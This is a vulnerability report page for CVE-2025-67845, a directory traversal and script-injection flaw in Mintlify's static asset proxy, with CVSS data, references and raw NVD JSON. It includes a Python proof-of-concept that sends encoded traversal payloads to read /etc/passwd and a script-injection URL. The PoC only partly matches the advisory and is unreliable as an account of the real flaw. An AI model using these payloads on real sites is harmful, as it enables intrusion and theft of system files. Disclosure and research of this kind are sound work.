Security Vulnerability Report
中文
CVE-2025-67845 CVSS 6.4 MEDIUM

CVE-2025-67845

Published: 2025-12-19 02:16:09
Last Modified: 2026-01-02 15:52:40

Description

A Directory Traversal vulnerability in the Static Asset Proxy Endpoint in Mintlify Platform before 2025-11-15 allows remote attackers to inject arbitrary web script or HTML via a crafted URL containing path traversal sequences.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mintlify:mintlify:*:*:*:*:*:*:*:* - VULNERABLE
Mintlify Platform < 2025-11-15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-67845 PoC - Directory Traversal in Mintlify Static Asset Proxy # Target: Mintlify Platform < 2025-11-15 def exploit_directory_traversal(target_url): """ Exploit directory traversal vulnerability to read sensitive files """ # Path traversal payload to read /etc/passwd traversal_payloads = [ '/api/_static/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd', '/api/_static/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd', '/_static/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd' ] for payload in traversal_payloads: try: url = target_url.rstrip('/') + payload response = requests.get(url, timeout=10) if response.status_code == 200 and 'root:' in response.text: print(f'[+] Success! File content:\n{response.text}') return response.text except requests.RequestException as e: print(f'[-] Request failed: {e}') return None # XSS injection via path traversal def exploit_xss_injection(target_url): """ Inject malicious script via path traversal """ xss_payload = '/api/_static/..%2f..%2f<script>alert("XSS-CVE-2025-67845")</script>' url = target_url.rstrip('/') + xss_payload try: response = requests.get(url, timeout=10) print(f'[+] XSS payload sent to {url}') return True except requests.RequestException as e: print(f'[-] Request failed: {e}') return False if __name__ == '__main__': target = 'https://vulnerable-mintlify-site.com' print('[*] CVE-2025-67845 Exploitation Test') print('[*] Target:', target) exploit_directory_traversal(target) exploit_xss_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67845", "sourceIdentifier": "[email protected]", "published": "2025-12-19T02:16:09.313", "lastModified": "2026-01-02T15:52:40.253", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "A Directory Traversal vulnerability in the Static Asset Proxy Endpoint in Mintlify Platform before 2025-11-15 allows remote attackers to inject arbitrary web script or HTML via a crafted URL containing path traversal sequences."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-24"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mintlify:mintlify:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-11-15", "matchCriteriaId": "4E599124-4B00-4D5C-ADB5-EC4564D3E5BF"}]}]}], "references": [{"url": "https://heartbreak.ing/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://kibty.town/blog/mintlify/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://news.ycombinator.com/item?id=46317098", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://www.mintlify.com/blog/working-with-security-researchers-november-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mintlify.com/docs/changelog", "source": "[email protected]", "tags": ["Release Notes"]}]}}